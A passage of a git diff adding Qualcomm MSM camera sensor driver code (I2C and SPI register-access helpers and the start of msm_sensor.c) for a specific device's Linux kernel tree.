*vreg_seq, + int num_vreg_seq, struct regulator **reg_ptr, int config); +int msm_camera_enable_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, + int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, + int num_vreg_seq, struct regulator **reg_ptr, int enable); + +void msm_camera_bus_scale_cfg(uint32_t bus_perf_client, + enum msm_bus_perf_setting perf_setting); + +int msm_camera_set_gpio_table(struct msm_gpio_set_tbl *gpio_tbl, + uint8_t gpio_tbl_size, int gpio_en); + +void msm_camera_config_single_gpio(uint16_t gpio, unsigned long flags, + int gpio_en); + +int msm_camera_config_single_vreg(struct device *dev, + struct camera_vreg_t *cam_vreg, struct regulator **reg_ptr, int config); + +int msm_camera_request_gpio_table(struct gpio *gpio_tbl, uint8_t size, + int gpio_en); + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c new file mode 100644 index 0000000000000..cd9c2d486b085 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c @@ -0,0 +1,545 @@ +/* Copyright (c) 2011, 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include "msm_camera_i2c.h" + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#define S_I2C_DBG(fmt, args...) pr_debug(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#define S_I2C_DBG(fmt, args...) do { } while (0) +#endif + +#define I2C_COMPARE_MATCH 0 +#define I2C_COMPARE_MISMATCH 1 +#define I2C_POLL_MAX_ITERATION 20 + +static int32_t msm_camera_qup_i2c_rxdata( + struct msm_camera_i2c_client *dev_client, unsigned char *rxdata, + int data_length) +{ + int32_t rc = 0; + uint16_t saddr = dev_client->client->addr >> 1; + struct i2c_msg msgs[] = { + { + .addr = saddr, + .flags = 0, + .len = dev_client->addr_type, + .buf = rxdata, + }, + { + .addr = saddr, + .flags = I2C_M_RD, + .len = data_length, + .buf = rxdata, + }, + }; + rc = i2c_transfer(dev_client->client->adapter, msgs, 2); + if (rc < 0) + S_I2C_DBG("msm_camera_qup_i2c_rxdata failed 0x%x\n", saddr); + return rc; +} + +static int32_t msm_camera_qup_i2c_txdata( + struct msm_camera_i2c_client *dev_client, unsigned char *txdata, + int length) +{ + int32_t rc = 0; + uint16_t saddr = dev_client->client->addr >> 1; + struct i2c_msg msg[] = { + { + .addr = saddr, + .flags = 0, + .len = length, + .buf = txdata, + }, + }; + rc = i2c_transfer(dev_client->client->adapter, msg, 1); + if (rc < 0) + S_I2C_DBG("msm_camera_qup_i2c_txdata faild 0x%x\n", saddr); + return rc; +} + +int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t *data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc = -EFAULT; + unsigned char buf[client->addr_type+data_type]; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (data_type != MSM_CAMERA_I2C_BYTE_DATA + && data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { + buf[0] = addr; + } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { + buf[0] = addr >> BITS_PER_BYTE; + buf[1] = addr; + } + rc = msm_camera_qup_i2c_rxdata(client, buf, data_type); + if (rc < 0) { + S_I2C_DBG("%s fail\n", __func__); + return rc; + } + + if (data_type == MSM_CAMERA_I2C_BYTE_DATA) + *data = buf[0]; + else + *data = buf[0] << 8 | buf[1]; + + S_I2C_DBG("%s addr = 0x%x data: 0x%x\n", __func__, addr, *data); + return rc; +} + +int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) +{ + int32_t rc = -EFAULT; + unsigned char buf[client->addr_type+num_byte]; + int i; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || num_byte == 0) + return rc; + + if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { + buf[0] = addr; + } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { + buf[0] = addr >> BITS_PER_BYTE; + buf[1] = addr; + } + rc = msm_camera_qup_i2c_rxdata(client, buf, num_byte); + if (rc < 0) { + S_I2C_DBG("%s fail\n", __func__); + return rc; + } + + S_I2C_DBG("%s addr = 0x%x", __func__, addr); + for (i = 0; i < num_byte; i++) { + data[i] = buf[i]; + S_I2C_DBG("Byte %d: 0x%x\n", i, buf[i]); + S_I2C_DBG("Data: 0x%x\n", data[i]); + } + return rc; +} + +int32_t msm_camera_qup_i2c_write(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc = -EFAULT; + unsigned char buf[client->addr_type+data_type]; + uint8_t len = 0; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (data_type != MSM_CAMERA_I2C_BYTE_DATA + && data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + S_I2C_DBG("%s reg addr = 0x%x data type: %d\n", + __func__, addr, data_type); + if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { + buf[0] = addr; + S_I2C_DBG("%s byte %d: 0x%x\n", __func__, + len, buf[len]); + len = 1; + } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { + buf[0] = addr >> BITS_PER_BYTE; + buf[1] = addr; + S_I2C_DBG("%s byte %d: 0x%x\n", __func__, + len, buf[len]); + S_I2C_DBG("%s byte %d: 0x%x\n", __func__, + len+1, buf[len+1]); + len = 2; + } + S_I2C_DBG("Data: 0x%x\n", data); + if (data_type == MSM_CAMERA_I2C_BYTE_DATA) { + buf[len] = data; + S_I2C_DBG("Byte %d: 0x%x\n", len, buf[len]); + len += 1; + } else if (data_type == MSM_CAMERA_I2C_WORD_DATA) { + buf[len] = data >> BITS_PER_BYTE; + buf[len+1] = data; + S_I2C_DBG("Byte %d: 0x%x\n", len, buf[len]); + S_I2C_DBG("Byte %d: 0x%x\n", len+1, buf[len+1]); + len += 2; + } + rc = msm_camera_qup_i2c_txdata(client, buf, len); + if (rc < 0) + S_I2C_DBG("%s fail\n", __func__); + return rc; +} + +int32_t msm_camera_qup_i2c_write_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) +{ + int32_t rc = -EFAULT; + unsigned char buf[client->addr_type+num_byte]; + uint8_t len = 0, i = 0; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || num_byte == 0) + return rc; + + S_I2C_DBG("%s reg addr = 0x%x num bytes: %d\n", + __func__, addr, num_byte); + if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { + buf[0] = addr; + S_I2C_DBG("%s byte %d: 0x%x\n", __func__, + len, buf[len]); + len = 1; + } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { + buf[0] = addr >> BITS_PER_BYTE; + buf[1] = addr; + S_I2C_DBG("%s byte %d: 0x%x\n", __func__, + len, buf[len]); + S_I2C_DBG("%s byte %d: 0x%x\n", __func__, + len+1, buf[len+1]); + len = 2; + } + for (i = 0; i < num_byte; i++) { + buf[i+len] = data[i]; + S_I2C_DBG("Byte %d: 0x%x\n", i+len, buf[i+len]); + S_I2C_DBG("Data: 0x%x\n", data[i]); + } + rc = msm_camera_qup_i2c_txdata(client, buf, len+num_byte); + if (rc < 0) + S_I2C_DBG("%s fail\n", __func__); + return rc; +} + +int32_t msm_camera_qup_i2c_write_table(struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting) +{ + int i; + int32_t rc = -EFAULT; + struct msm_camera_i2c_reg_array *reg_setting; + uint16_t client_addr_type; + + if (!client || !write_setting) + return rc; + + if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA + && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + reg_setting = write_setting->reg_setting; + client_addr_type = client->addr_type; + client->addr_type = write_setting->addr_type; + + for (i = 0; i < write_setting->size; i++) { + CDBG("%s addr 0x%x data 0x%x\n", __func__, + reg_setting->reg_addr, reg_setting->reg_data); + + rc = msm_camera_qup_i2c_write(client, reg_setting->reg_addr, + reg_setting->reg_data, write_setting->data_type); + if (rc < 0) + break; + reg_setting++; + } + if (write_setting->delay > 20) + msleep(write_setting->delay); + else if (write_setting->delay) + usleep_range(write_setting->delay * 1000, (write_setting->delay + * 1000) + 1000); + + client->addr_type = client_addr_type; + return rc; +} + +int32_t msm_camera_qup_i2c_write_seq_table(struct msm_camera_i2c_client *client, + struct msm_camera_i2c_seq_reg_setting *write_setting) +{ + int i; + int32_t rc = -EFAULT; + struct msm_camera_i2c_seq_reg_array *reg_setting; + uint16_t client_addr_type; + + if (!client || !write_setting) + return rc; + + if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR)) { + pr_err("%s Invalide addr type %d\n", __func__, + write_setting->addr_type); + return rc; + } + + reg_setting = write_setting->reg_setting; + client_addr_type = client->addr_type; + client->addr_type = write_setting->addr_type; + + for (i = 0; i < write_setting->size; i++) { + rc = msm_camera_qup_i2c_write_seq(client, reg_setting->reg_addr, + reg_setting->reg_data, reg_setting->reg_data_size); + if (rc < 0) + break; + reg_setting++; + } + if (write_setting->delay > 20) + msleep(write_setting->delay); + else if (write_setting->delay) + usleep_range(write_setting->delay * 1000, (write_setting->delay + * 1000) + 1000); + + client->addr_type = client_addr_type; + return rc; +} + +int32_t msm_camera_qup_i2c_write_table_w_microdelay( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting) +{ + int i; + int32_t rc = -EFAULT; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (!client || !write_setting) + return rc; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA + && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + reg_setting = write_setting->reg_setting; + for (i = 0; i < write_setting->size; i++) { + rc = msm_camera_qup_i2c_write(client, reg_setting->reg_addr, + reg_setting->reg_data, write_setting->data_type); + if (rc < 0) + break; + if (reg_setting->delay) + usleep_range(reg_setting->delay, + reg_setting->delay + 1000); + reg_setting++; + } + return rc; +} + +static int32_t msm_camera_qup_i2c_compare(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc; + uint16_t reg_data = 0; + int data_len = 0; + switch (data_type) { + case MSM_CAMERA_I2C_BYTE_DATA: + case MSM_CAMERA_I2C_WORD_DATA: + data_len = data_type; + break; + case MSM_CAMERA_I2C_SET_BYTE_MASK: + case MSM_CAMERA_I2C_UNSET_BYTE_MASK: + data_len = MSM_CAMERA_I2C_BYTE_DATA; + break; + case MSM_CAMERA_I2C_SET_WORD_MASK: + case MSM_CAMERA_I2C_UNSET_WORD_MASK: + data_len = MSM_CAMERA_I2C_WORD_DATA; + break; + default: + pr_err("%s: Unsupport data type: %d\n", __func__, data_type); + break; + } + + rc = msm_camera_qup_i2c_read(client, addr, ®_data, data_len); + if (rc < 0) + return rc; + + rc = I2C_COMPARE_MISMATCH; + switch (data_type) { + case MSM_CAMERA_I2C_BYTE_DATA: + case MSM_CAMERA_I2C_WORD_DATA: + if (data == reg_data) + rc = I2C_COMPARE_MATCH; + break; + case MSM_CAMERA_I2C_SET_BYTE_MASK: + case MSM_CAMERA_I2C_SET_WORD_MASK: + if ((reg_data & data) == data) + rc = I2C_COMPARE_MATCH; + break; + case MSM_CAMERA_I2C_UNSET_BYTE_MASK: + case MSM_CAMERA_I2C_UNSET_WORD_MASK: + if (!(reg_data & data)) + rc = I2C_COMPARE_MATCH; + break; + default: + pr_err("%s: Unsupport data type: %d\n", __func__, data_type); + break; + } + + S_I2C_DBG("%s: Register and data match result %d\n", __func__, + rc); + return rc; +} + +int32_t msm_camera_qup_i2c_poll(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc; + int i; + S_I2C_DBG("%s: addr: 0x%x data: 0x%x dt: %d\n", + __func__, addr, data, data_type); + + for (i = 0; i < I2C_POLL_MAX_ITERATION; i++) { + rc = msm_camera_qup_i2c_compare(client, + addr, data, data_type); + if (rc == 0 || rc < 0) + break; + usleep_range(10000, 11000); + } + return rc; +} + +static int32_t msm_camera_qup_i2c_set_mask(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t mask, + enum msm_camera_i2c_data_type data_type, uint16_t set_mask) +{ + int32_t rc; + uint16_t reg_data; + + rc = msm_camera_qup_i2c_read(client, addr, ®_data, data_type); + if (rc < 0) { + S_I2C_DBG("%s read fail\n", __func__); + return rc; + } + S_I2C_DBG("%s addr: 0x%x data: 0x%x setmask: 0x%x\n", + __func__, addr, reg_data, mask); + + if (set_mask) + reg_data |= mask; + else + reg_data &= ~mask; + S_I2C_DBG("%s write: 0x%x\n", __func__, reg_data); + + rc = msm_camera_qup_i2c_write(client, addr, reg_data, data_type); + if (rc < 0) + S_I2C_DBG("%s write fail\n", __func__); + + return rc; +} + +static int32_t msm_camera_qup_i2c_set_write_mask_data( + struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, int16_t mask, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc; + uint16_t reg_data; + CDBG("%s\n", __func__); + if (mask == -1) + return 0; + if (mask == 0) { + rc = msm_camera_qup_i2c_write(client, addr, data, data_type); + } else { + rc = msm_camera_qup_i2c_read(client, addr, ®_data, + data_type); + if (rc < 0) { + CDBG("%s read fail\n", __func__); + return rc; + } + reg_data &= ~mask; + reg_data |= (data & mask); + rc = msm_camera_qup_i2c_write(client, addr, reg_data, + data_type); + if (rc < 0) + CDBG("%s write fail\n", __func__); + } + return rc; +} + + +int32_t msm_camera_qup_i2c_write_conf_tbl( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, + enum msm_camera_i2c_data_type data_type) +{ + int i; + int32_t rc = -EFAULT; + pr_err("%s, E. ", __func__); + for (i = 0; i < size; i++) { + enum msm_camera_i2c_data_type dt; + if (reg_conf_tbl->cmd_type == MSM_CAMERA_I2C_CMD_POLL) { + rc = msm_camera_qup_i2c_poll(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + reg_conf_tbl->dt); + } else { + if (reg_conf_tbl->dt == 0) + dt = data_type; + else + dt = reg_conf_tbl->dt; + switch (dt) { + case MSM_CAMERA_I2C_BYTE_DATA: + case MSM_CAMERA_I2C_WORD_DATA: + rc = msm_camera_qup_i2c_write( + client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, dt); + break; + case MSM_CAMERA_I2C_SET_BYTE_MASK: + rc = msm_camera_qup_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_BYTE_DATA, 1); + break; + case MSM_CAMERA_I2C_UNSET_BYTE_MASK: + rc = msm_camera_qup_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_BYTE_DATA, 0); + break; + case MSM_CAMERA_I2C_SET_WORD_MASK: + rc = msm_camera_qup_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_WORD_DATA, 1); + break; + case MSM_CAMERA_I2C_UNSET_WORD_MASK: + rc = msm_camera_qup_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_WORD_DATA, 0); + break; + case MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA: + rc = msm_camera_qup_i2c_set_write_mask_data( + client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + reg_conf_tbl->mask, + MSM_CAMERA_I2C_BYTE_DATA); + break; + default: + pr_err("%s: Unsupport data type: %d\n", + __func__, dt); + break; + } + } + if (rc < 0) + break; + reg_conf_tbl++; + } + return rc; +} + diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c new file mode 100644 index 0000000000000..ccdc2b3cd125b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c @@ -0,0 +1,214 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include "msm_camera_spi.h" + +#undef SPIDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define SPIDBG(fmt, args...) pr_debug(fmt, ##args) +#define S_I2C_DBG(fmt, args...) pr_debug(fmt, ##args) +#else +#define SPIDBG(fmt, args...) do { } while (0) +#define S_I2C_DBG(fmt, args...) do { } while (0) +#endif + +static int msm_camera_spi_txfr(struct spi_device *spi, char *txbuf, + char *rxbuf, int num_byte) +{ + struct spi_transfer t; + struct spi_message m; + + memset(&t, 0, sizeof(t)); + t.tx_buf = txbuf; + t.rx_buf = rxbuf; + t.len = num_byte; + spi_message_init(&m); + spi_message_add_tail(&t, &m); + + return spi_sync(spi, &m); +} + +/** + * msm_camera_set_addr() - helper function to set transfer address + * @addr: device address + * @addr_len: the addr field length of an instruction + * @type: type (i.e. byte-length) of @addr + * @str: shifted address output, must be zeroed when passed in + * + * This helper function sets @str based on the addr field length of an + * instruction and the data length. + */ +static void msm_camera_set_addr(uint32_t addr, uint8_t addr_len, + enum msm_camera_i2c_reg_addr_type type, + char *str) +{ + int i, len; + + if (addr_len < type) + SPIDBG("%s: omitting higher bits in address\n", __func__); + + /* only support transfer MSB first for now */ + len = addr_len - type; + for (i = len; i < addr_len; i++) { + if (i >= 0) + str[i] = (addr >> (BITS_PER_BYTE * (addr_len - i - 1))) + & 0xFF; + } + +} + +/** + * msm_camera_spi_tx_helper() - wrapper for SPI transaction + * @client: io client + * @inst: inst of this transaction + * @addr: device addr following the inst + * @data: output byte array (could be NULL) + * @num_byte: size of @data + * @tx, rx: optional transfer buffer. It must be at least header + * + @num_byte long. + * + * This is the core function for SPI transaction, except for writes. It first + * checks address type, then allocates required memory for tx/rx buffers. + * It sends out , and optionally receives @num_byte of response, + * if @data is not NULL. This function does not check for wait conditions, + * and will return immediately once bus transaction finishes. + * + * This function will allocate buffers of header + @num_byte long. For + * large transfers, the allocation could fail. External buffer @tx, @rx + * should be passed in to bypass allocation. The size of buffer should be + * at least header + num_byte long. Since buffer is managed externally, + * @data will be ignored, and read results will be in @rx. + * @tx, @rx also can be used for repeated transfers to improve performance. + */ +int32_t msm_camera_spi_tx_helper(struct msm_camera_i2c_client *client, + struct msm_camera_spi_inst *inst, uint32_t addr, uint8_t *data, + uint32_t num_byte, char *tx, char *rx) +{ + int32_t rc = -EINVAL; + struct spi_device *spi = client->spi_client->spi_master; + char *ctx = NULL, *crx = NULL; + uint32_t len, hlen; + uint8_t retries = client->spi_client->retries; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR) + && (client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + && (client->addr_type != MSM_CAMERA_I2C_3B_ADDR)) + return rc; + + hlen = msm_camera_spi_get_hlen(inst); + len = hlen + num_byte; + + if (tx) + ctx = tx; + else + ctx = kzalloc(len, GFP_KERNEL); + if (!ctx) + return -ENOMEM; + + if (num_byte) { + if (rx) + crx = rx; + else + crx = kzalloc(len, GFP_KERNEL); + if (!crx) { + if (!tx) + kfree(ctx); + return -ENOMEM; + } + } else { + crx = NULL; + } + + ctx[0] = inst->opcode; + msm_camera_set_addr(addr, inst->addr_len, client->addr_type, ctx + 1); + while ((rc = msm_camera_spi_txfr(spi, ctx, crx, len)) && retries) { + retries--; + msleep(client->spi_client->retry_delay); + } + if (rc < 0) { + SPIDBG("%s: failed %d\n", __func__, rc); + goto out; + } + if (data && num_byte && !rx) + memcpy(data, crx + hlen, num_byte); + +out: + if (!tx) + kfree(ctx); + if (!rx) + kfree(crx); + return rc; +} + +int32_t msm_camera_spi_read(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t *data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc = -EINVAL; + uint8_t temp[2]; + + if ((data_type != MSM_CAMERA_I2C_BYTE_DATA) + && (data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + rc = msm_camera_spi_tx_helper(client, + &client->spi_client->cmd_tbl.read, addr, &temp[0], + data_type, NULL, NULL); + if (rc < 0) + return rc; + + if (data_type == MSM_CAMERA_I2C_BYTE_DATA) + *data = temp[0]; + else + *data = (temp[0] << BITS_PER_BYTE) | temp[1]; + + SPIDBG("%s: addr 0x%x, data %u\n", __func__, addr, *data); + return rc; +} + +int32_t msm_camera_spi_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) +{ + return msm_camera_spi_tx_helper(client, + &client->spi_client->cmd_tbl.read_seq, addr, data, num_byte, + NULL, NULL); +} + +/** + * msm_camera_spi_read_seq_l()- function for large SPI reads + * @client: io client + * @addr: device address to read + * @num_byte: read length + * @tx,rx: pre-allocated SPI buffer. Its size must be at least + * header + num_byte + * + * This function is used for large transactions. Instead of allocating SPI + * buffer each time, caller is responsible for pre-allocating memory buffers. + * Memory buffer must be at least header + num_byte. Header length can be + * obtained by msm_camera_spi_get_hlen(). + */ +int32_t msm_camera_spi_read_seq_l(struct msm_camera_i2c_client *client, + uint32_t addr, uint32_t num_byte, char *tx, char *rx) +{ + return msm_camera_spi_tx_helper(client, + &client->spi_client->cmd_tbl.read_seq, addr, NULL, num_byte, + tx, rx); +} + +int32_t msm_camera_spi_query_id(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) +{ + return msm_camera_spi_tx_helper(client, + &client->spi_client->cmd_tbl.query_id, addr, data, num_byte, + NULL, NULL); +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h new file mode 100644 index 0000000000000..0aefa503fdcd6 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h @@ -0,0 +1,66 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_CAMERA_SPI_H +#define __MSM_CAMERA_SPI_H + +#include +#include +#include "msm_camera_i2c.h" + +/** + * Common SPI communication scheme + * tx: [addr][wait][write buffer] + * rx: [read buffer] + * Some inst require polling busy reg until it's done + */ +struct msm_camera_spi_inst { + uint8_t opcode; /* one-byte opcode */ + uint8_t addr_len; /* addr len in bytes */ + uint8_t dummy_len; /* setup cycles */ +}; + +struct msm_camera_spi_inst_tbl { + struct msm_camera_spi_inst read; + struct msm_camera_spi_inst read_seq; + struct msm_camera_spi_inst query_id; +}; + +struct msm_camera_spi_client { + struct spi_device *spi_master; + struct msm_camera_spi_inst_tbl cmd_tbl; + uint8_t device_id; + uint8_t mfr_id; + uint8_t retry_delay; /* ms */ + uint8_t retries; /* retry times upon failure */ +}; + +static __always_inline +uint16_t msm_camera_spi_get_hlen(struct msm_camera_spi_inst *inst) +{ + return sizeof(inst->opcode) + inst->addr_len + inst->dummy_len; +} + +int32_t msm_camera_spi_read(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t *data, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_spi_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte); + +int32_t msm_camera_spi_read_seq_l(struct msm_camera_i2c_client *client, + uint32_t addr, uint32_t num_byte, char *tx, char *rx); + +int32_t msm_camera_spi_query_id(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte); + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c new file mode 100644 index 0000000000000..9360946caa296 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c @@ -0,0 +1,1451 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#include +#include "msm_sensor.h" +#include "msm_sd.h" +#include "camera.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" +#include "msm_camera_i2c_mux.h" +#include +#include +#include + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static void msm_sensor_adjust_mclk(struct msm_camera_power_ctrl_t *ctrl) +{ + int idx; + struct msm_sensor_power_setting *power_setting; + for (idx = 0; idx < ctrl->power_setting_size; idx++) { + power_setting = &ctrl->power_setting[idx]; + if (power_setting->seq_type == SENSOR_CLK && + power_setting->seq_val == SENSOR_CAM_MCLK) { + if (power_setting->config_val == 24000000) { + power_setting->config_val = 23880000; + CDBG("%s MCLK request adjusted to 23.88MHz\n" + , __func__); + } + break; + } + } + + return; +} + +static int32_t msm_camera_get_power_settimgs_from_sensor_lib( + struct msm_camera_power_ctrl_t *power_info, + struct msm_sensor_power_setting_array *power_setting_array) +{ + int32_t rc = 0; + uint32_t size; + struct msm_sensor_power_setting *ps; + bool need_reverse = 0; + + if ((NULL == power_info->power_setting) || + (0 == power_info->power_setting_size)) { + + ps = power_setting_array->power_setting; + size = power_setting_array->size; + if ((NULL == ps) || (0 == size)) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -EINVAL; + goto FAILED_1; + } + + power_info->power_setting = + kzalloc(sizeof(*ps) * size, GFP_KERNEL); + if (!power_info->power_setting) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto FAILED_1; + } + memcpy(power_info->power_setting, + power_setting_array->power_setting, + sizeof(*ps) * size); + power_info->power_setting_size = size; + } + + ps = power_setting_array->power_down_setting; + size = power_setting_array->size_down; + if (NULL == ps || 0 == size) { + ps = power_info->power_setting; + size = power_info->power_setting_size; + need_reverse = 1; + } + + power_info->power_down_setting = + kzalloc(sizeof(*ps) * size, GFP_KERNEL); + if (!power_info->power_down_setting) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_UP; + } + memcpy(power_info->power_down_setting, + ps, + sizeof(*ps) * size); + power_info->power_down_setting_size = size; + + if (need_reverse) { + int c, end = size - 1; + struct msm_sensor_power_setting power_down_setting_t; + for (c = 0; c < size/2; c++) { + power_down_setting_t = + power_info->power_down_setting[c]; + power_info->power_down_setting[c] = + power_info->power_down_setting[end]; + power_info->power_down_setting[end] = + power_down_setting_t; + end--; + } + } + + return 0; +FREE_UP: + kfree(power_info->power_setting); +FAILED_1: + return rc; +} + +static int32_t msm_sensor_get_dt_data(struct device_node *of_node, + struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0, i = 0, ret = 0; + struct msm_camera_gpio_conf *gconf = NULL; + struct msm_camera_sensor_board_info *sensordata = NULL; + uint16_t *gpio_array = NULL; + uint16_t gpio_array_size = 0; + uint32_t id_info[3]; + + s_ctrl->sensordata = kzalloc(sizeof( + struct msm_camera_sensor_board_info), + GFP_KERNEL); + if (!s_ctrl->sensordata) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + + sensordata = s_ctrl->sensordata; + + rc = of_property_read_string(of_node, "qcom,sensor-name", + &sensordata->sensor_name); + CDBG("%s qcom,sensor-name %s, rc %d\n", __func__, + sensordata->sensor_name, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_SENSORDATA; + } + + rc = 